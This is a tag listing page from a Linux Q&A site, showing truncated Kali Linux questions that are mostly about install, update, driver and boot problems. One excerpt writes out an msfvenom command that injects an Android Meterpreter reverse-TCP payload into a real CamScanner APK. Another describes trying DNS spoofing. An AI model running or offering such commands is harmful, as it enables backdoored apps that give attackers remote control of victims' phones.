Questions tagged [kali-linux]

This tag should be used if your question involves Kali Linux, a Linux distribution based on Debian. Question regarding Kali Linux should not be related to specific setup (installing specific driver, modifying sources.list...) but oriented toward usage of Kali Linux tools. Kali is often used for security testing and comes with a huge set of tools for that. It is not a general-purpose Linux desktop distribution.

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Kali Linux kernel headers for 4.14.71-v6

I am trying to install kernel headers version 4.14.71-v6 (uname -r) for Kali Linux. I already did the common commands... apt update apt upgrade apt dist-upgrade apt install linux-headers-generic alt ...
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kernel headers linux not found [duplicate]

I can't get past the : apt install linux-headers-$(uname -r) Reading package lists... Done Building dependency tree Reading state information... Done E: Unable to locate package linux-headers-...
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command fialed: operation not supported (-95) while enabling monitor mod [duplicate]

I bought a dongle which are Realtek 8812AU and I'm sure that the dongle could work on monitor mode but after I connected it to my kali Linux on virtual machine and I trying to enabled monitor mode, ...
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Bluetooth pairing timed out when not in use after a short time

I'm on a Kali (4.18.0-kali3-amd64) and I have an issue with my headsets when I pair them with the internal bluetooth of my computer : it disconnects itself when they're not in use continuously. ...
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Script: Writing mailbox SQL record based on system users

There's something wrong with this command or I'm not seeing my mistake. I also needed to exclude disabled users and users with UID over 500. This is the SQL command I need to use INSERT INTO `mailbox`...
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How to log in to my Kali Linux on VirtualBox? [duplicate]

I have installed Kali Linux on VirtualBox. When I try to login I got Incorrect password,please try again I repeated installation. I am sure that the password is correct. I downloaded Kali Linux ...
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Error apt-get update on Kali Linux System [duplicate]

I am trying to update the system, but the following error appears, what should I do? apt-get update Ign:1 http://dl.google.com/linux/chrome/deb stable InRelease Err:2 http://dl.google.com/linux/...
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Kali linux 2018.4 seems to be missing with me [duplicate]

I installed Kali Linux 2018.4 today. Its not the first time to install a Kali Linux but had to do it because I wanted to upgrade. Anyway, after I burnt the Kali Linux to my CD-DVD disk and I booted up ...
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DEAUTH_LEAVING error

I'm not able to manage this error [ 666.695694] wlan0: deauthenticating from xx:xx:xx:xx:xx:xx by local choice (Reason: 3=DEAUTH_LEAVING) I obtain the error only when I'm trying to connect to a ...
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tor installation [duplicate]

im trying to install TOR in my kali lunix but im getting this error root@Lunix:~# apt-get install tor Reading package lists... Done Building dependency tree Reading state information... Done Package ...
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Windows Subsystem for Linux: apt update error in Kali [duplicate]

I'm having trouble with the command: sudo apt-get update ,when I run it, I get the following message: Err:1 http://http.kali.org/kali kali-rolling InRelease Connection failed [IP: 192.99.200.113 80] ...
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Linux becomes very slow [duplicate]

I use Kali Linux since my first pc and the first version I used version 2017.1 and later updated to 2017.2, then I switched to 2018.3 . That's where I found that my system was getting sluggish. I have ...
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how to boot from external hard disk with ubuntu installed? [closed]

i've made a bootable ubuntu 17.10 USB in order to install it on my external HDD, the installation had been completed successfully and i got the ubuntu system in my external HDD, the issue is that i ...
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I am unable to start my Kali Linux [duplicate]

I did 'apt-get dist upgrade' and upgraded it. It was done 100% but it asked me to open the upgraded packages so I did yes and I went out for a work for 1 hour. But after I came I saw that my pc was on ...
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Wine Version 3.0.3 bug

I have a slight issue with Wine right now which is kinda annoying. Running on: Linux 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux Wine works just fine except every ...
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Can't Paste any Texts [duplicate]

I just download some Desktop Environment for my Kali Linux. Then at second usage (after reboot), I tried to copy MAC Address in terminal. But when I click Paste, the text can't even show in my screen. ...
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How to separate only the IP Addresses? [closed]

How can I separate only the IP addresses from the pic below?
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Which version of Kali Linux am I using? [duplicate]

After getting a request to install OS updates I waited almost 12 hours, which after being done I ran grep Version /etc/os-release. It says version 2018.4 but, when I run uname -a and uname -r both say ...
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Add a debian source for APT in Kali Linux

I am trying to add a Debian source for apt: add-apt-repository 'http://ftp.de.debian.org/debian sid main' but I got this message: Error: could not find a distribution template for Kali/kali-rolling
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Error when trying to use Xorg: Only console users are allowed to run the X server?

So when i try to use the Xorg command as a normal user, this is the error that it gives me : /usr/lib/xorg/Xorg.wrap: Only console users are allowed to run the X server but i don't understand, what ...
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Does windows subsystem for linux detects usb wifi adapter? [closed]

I am thinking of buying a usb wifi adapter but i'm not sure if it'll be useful when im using wsl
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Kali Linux Version doesn't match ISO (?)

I downloaded "Kali 2018.3" from kali.org, and booted my thumbdrive from it. As of time of writing, this is the latest version I see on the official site. However, when I run "uname -r" I see "4.17.0-...
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How Fix this Issue rescue-ssh.target is a disabled or a static unit, not starting it

*uname -a Linux xxxxxx 4.18.0-kali1-amd64 #1 SMP Debian 4.18.6-1kali1 (2018-09-10) x86_64 GNU/Linux *apt list openssh-server -a Listing... Done openssh-server/kali-rolling,now 1:7.8p1-1 amd64 [...
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apt-get install not working properly [closed]

I've been experiencing a hard time with my kali rolling dist. It's been more that a week(or weeks?) that I have problems with this rolling version, one after another. Let's leave the fact that it ...
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Where did my persistence go?

I've had a Kali Linux bootable usb for a long time now. Last night I updated Kali, and shutdown when I went to bed. I boot up now, and it appears everything is wiped. All files gone. The desktop ...
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How to install Kali Linux from live desktop?

I need to install Kali from live desktop, but I can’t find the installer. Any idea what I should do?
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RTL8723DE : “no wifi adapter found” on kali linux [duplicate]

I have currently installed kali (dual boot windows 10) ,but when i ran kali linux os it shows no wifi adapter found.
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How to install lshw on Kali Linux (debian) [duplicate]

Answered Closed OK, here's the situation:: I am using Kali Linux (Debian 32-bit (Gnome 3.28.2)) on a vbox VM. I'm also using Linux Mint 19 on another vbox VM. I tried using lshw command in the Kali ...
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Dual boot of Kali Linux and Windows machine failed after installation!

I am trying to dual boot Kali Linux and Windows 10. I did the installation watching many online guides. The differences between what I did and these guides are as follows: 1) Non-free firmware files ...
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Kali Linux not booting after update [bricked] [duplicate]

After not using kali for a long time (+/- 2 years) I decided to run it again. First thing I did was opening my terminal and updating kali using apt-get update && apt-get upgrade. To my ...
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Error: zipalign not found. If it's not in your PATH, please add it [duplicate]

when i try to inject payload in the apk this error occurs root@kali:~# msfvenom -x /root/Documents/CamScanner_5.7.5.20180907.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=2410 -o ...
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Remove Everything in the RAM [closed]

Is there a command in Linux that removes everything that is loaded in the RAM including the kernel itself while the OS is up and running?
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Kali Linux: Desktop messed up after installing VBoxGuestAdditions

So I installed VBoxLinuxGuestAdditions(part of Oracle VirtualBox) to support a better resolution and other reasons, but came across a big annoying problem. I remember that before installing this, ...
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Apt-get upgrade error [duplicate]

After installing Kali Linux on my VMware machine , I was trying to update the sources.list file , but for some reason while using the command apt-get upgrade It is resulting in error as E:Could ...
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No chipset description after airmon-ng in Kali

I have a world of trouble using aircrack. I would like to know if this missing info has anything to do with the problem. root@kali:~# airmon-ng PHY Interface Driver Chipset phy0 wlan0 ...
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new kali installation (EFI), I can't start on kali OS without the “super grub 2” usb key

I got a new computer. This computer works before with a multi boot (ubuntu OS, kali OS and windows OS). I wanted to erase all datas for install only a Kali linux OS (no multi boot, just only Kali). ...
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apparmor=“DENIED” operation=“change_onexec” info=“label not found” error=-2 profile=“unconfined” name=“snap.slack.slack” pid=11613 comm=“snap-confine”

I'm trying to Install Slack for Linux and run it on my Kali-Linux, however while trying run it, I get following in my /var/log/syslog while trying to run Slack app. Sep 19 16:37:58 suey kernel: [ ...
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Blank screen after login in Kali Linux through remote desktop Connection in Windows 10

I recently installed the Kali Linux app in Windows 10,(https://www.microsoft.com/store/productId/9PKR34TNCV07) then followed the instructions on the website https://www.kali.org/news/kali-linux-in-the-...
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Cannot Install anything on Kali Linux 2018 [duplicate]

root@Kali:~# echo -e "deb http://http.kali.org/kali sana main non-free contrib\ndeb http://security.kali.org/kali-security/ sana/updates main contrib non-free" > /etc/apt/sources.list root@Kali:~# ...
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dpkg error when running sudo apt-get upgrade [duplicate]

root@kali:~# sudo apt-get upgrade Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done 0 upgraded, 0 newly installed, 0 to remove ...
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grub rescue after accidentally removing bootloader partiton [duplicate]

I have an ASUS Laptop and installed Kali Linux as dual boot with Windows 10. I wanted to replace Kali Linux with Black Arch and cleared up my dedicated partition for Kali and when doing so, I ...
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Share Folder With Kali Linux & Windows 7 [duplicate]

I Have Kali Linux Host And Windows 7 Guest In Virtual Box. So How I can share File I tried but can't fix, So show me the way for share file from Virtual Box windows 7 to Kali Linux
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DNS spoofing in Kali Linux [duplicate]

I'm trying to learn some stuff about DNSspoofing, but it didn't work well for me. Here's what i have done. step 1 : turn my NIC into promisc mode using the following command ifconfig wlan0 promisc ...
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Chainging proxychains DNS port

I am using a proxychains on Kali with a DNSCrypt nameserver which operates on port 443. When I start proxychains it tries to connect to the DNS server on port 53 and it returns a timeout. How can I ...
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Realtek Wifi interface is not stable in Kali linux [duplicate]

I have a kali linux system(VM) and I added realtek wireless adapter to it and same is detecting as a wireless interface ip address [...] 3: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 ...
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Can't deal with KDE Desktop in Kali Linux [duplicate]

I recently installed KDE on Kali Linux (I'm always root). I can't do anything with the Desktop (Launching applications, creating or adding new items or moving icons to my secondary monitor, etc.). I'...
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What's differant between Kali Linux versions [duplicate]

What's differant between Kali Linux versions? https://www.kali.org/downloads/ There's kali linx kde, xfce, light, light armhf, e17, mate, lxde. What's the difference?
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Not able to see wifi interface in ifconfig in Kali linux [duplicate]

I have added a wifi adapter to my Kali linux box but I am not able to see it in ifconfig output. Linux version root@kali:~# uname -a Linux kali 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-...
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Having trouble with apt update kali 4.17 [duplicate]

This is the error I get when I input apt update Err:1 http://archive.getdeb.net/ubuntu xenial-getdeb InRelease Could not connect to archive.getdeb.net:80 (144.76.200.19). - connect (111: ...
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apt-get upgrade won't work on kali [duplicate]

root@kamil:~# uname -a Linux kamil 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux root@kamil:~# apt-get upgrade Reading package lists... Done Building dependency tree ...